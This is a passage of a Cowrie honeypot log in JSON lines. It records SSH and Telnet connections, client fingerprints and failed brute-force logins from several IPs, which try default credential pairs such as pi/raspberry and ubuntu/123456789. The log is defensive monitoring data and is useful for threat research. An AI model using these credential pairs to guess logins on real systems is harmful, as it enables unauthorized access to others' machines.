istp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:58.357097Z","src_ip":"176.65.132.129","session":"1db81749e898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:58.607926Z","src_ip":"176.65.132.129","session":"1db81749e898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:59.695092Z","src_ip":"176.65.132.129","session":"1db81749e898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56994,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdf41c70b3e3","protocol":"telnet","message":"New connection: 45.58.127.90:56994 (10.17.0.5:23) [session: cdf41c70b3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:01.704107Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54284,"dst_ip":"159.203.135.109","dst_port":22,"session":"647ae514d932","protocol":"ssh","message":"New connection: 176.65.132.129:54284 (159.203.135.109:22) [session: 647ae514d932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:01.761434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:01.766030Z","src_ip":"176.65.132.129","session":"647ae514d932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:01.849983Z","src_ip":"176.65.132.129","session":"647ae514d932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:02.260461Z","src_ip":"176.65.132.129","session":"647ae514d932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45864,"dst_ip":"159.203.135.109","dst_port":22,"session":"10debdaef933","protocol":"ssh","message":"New connection: 172.237.20.62:45864 (159.203.135.109:22) [session: 10debdaef933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:02.273120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:02.282941Z","src_ip":"172.237.20.62","session":"10debdaef933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:02.448323Z","src_ip":"172.237.20.62","session":"10debdaef933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:02.939117Z","src_ip":"172.237.20.62","session":"10debdaef933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.45036053657532,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:03.006654Z","src_ip":"45.58.127.90","session":"026b6e40aa61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:03.344857Z","src_ip":"176.65.132.129","session":"647ae514d932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:04.104779Z","src_ip":"172.237.20.62","session":"10debdaef933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54310,"dst_ip":"159.203.135.109","dst_port":22,"session":"fab5d7f8ce6d","protocol":"ssh","message":"New connection: 176.65.132.129:54310 (159.203.135.109:22) [session: fab5d7f8ce6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:05.313635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:05.318820Z","src_ip":"176.65.132.129","session":"fab5d7f8ce6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:05.401268Z","src_ip":"176.65.132.129","session":"fab5d7f8ce6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:05.652599Z","src_ip":"176.65.132.129","session":"fab5d7f8ce6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56996,"dst_ip":"10.17.0.5","dst_port":23,"session":"122bfb4e6520","protocol":"telnet","message":"New connection: 45.58.127.90:56996 (10.17.0.5:23) [session: 122bfb4e6520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:06.211850Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:06.803633Z","src_ip":"176.65.132.129","session":"fab5d7f8ce6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.236.74.17","src_port":58263,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f15aeed5ffe","protocol":"telnet","message":"New connection: 99.236.74.17:58263 (159.203.135.109:23) [session: 5f15aeed5ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:07.147666Z"}
{"eventid":"cowrie.session.closed","duration":39.387449979782104,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:07.478608Z","src_ip":"45.58.127.90","session":"69d7969422d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59568,"dst_ip":"159.203.135.109","dst_port":22,"session":"762c86f7e7bd","protocol":"ssh","message":"New connection: 176.65.132.129:59568 (159.203.135.109:22) [session: 762c86f7e7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:08.879516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:08.885157Z","src_ip":"176.65.132.129","session":"762c86f7e7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:08.967942Z","src_ip":"176.65.132.129","session":"762c86f7e7bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:09.213518Z","src_ip":"176.65.132.129","session":"762c86f7e7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:10.299681Z","src_ip":"176.65.132.129","session":"762c86f7e7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59570,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4d0f5f4f529","protocol":"ssh","message":"New connection: 176.65.132.129:59570 (159.203.135.109:22) [session: c4d0f5f4f529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:12.216054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:12.224306Z","src_ip":"176.65.132.129","session":"c4d0f5f4f529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:12.310357Z","src_ip":"176.65.132.129","session":"c4d0f5f4f529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:12.559149Z","src_ip":"176.65.132.129","session":"c4d0f5f4f529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58740,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cbe22e0aed6","protocol":"ssh","message":"New connection: 172.237.20.62:58740 (159.203.135.109:22) [session: 6cbe22e0aed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:13.148699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:13.153553Z","src_ip":"172.237.20.62","session":"6cbe22e0aed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:13.315457Z","src_ip":"172.237.20.62","session":"6cbe22e0aed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:13.644248Z","src_ip":"176.65.132.129","session":"c4d0f5f4f529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:13.797687Z","src_ip":"172.237.20.62","session":"6cbe22e0aed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:14.964342Z","src_ip":"172.237.20.62","session":"6cbe22e0aed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54780,"dst_ip":"10.17.0.5","dst_port":23,"session":"59120d21be84","protocol":"telnet","message":"New connection: 45.58.127.90:54780 (10.17.0.5:23) [session: 59120d21be84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:15.134127Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59574,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f54106ea25b","protocol":"ssh","message":"New connection: 176.65.132.129:59574 (159.203.135.109:22) [session: 4f54106ea25b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:15.665306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:15.673481Z","src_ip":"176.65.132.129","session":"4f54106ea25b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:15.758864Z","src_ip":"176.65.132.129","session":"4f54106ea25b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:16.005609Z","src_ip":"176.65.132.129","session":"4f54106ea25b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":18610,"dst_ip":"159.203.135.109","dst_port":22,"session":"48d5d7ed4518","protocol":"ssh","message":"New connection: 2.57.121.25:18610 (159.203.135.109:22) [session: 48d5d7ed4518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:16.678295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:16.682792Z","src_ip":"2.57.121.25","session":"48d5d7ed4518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","e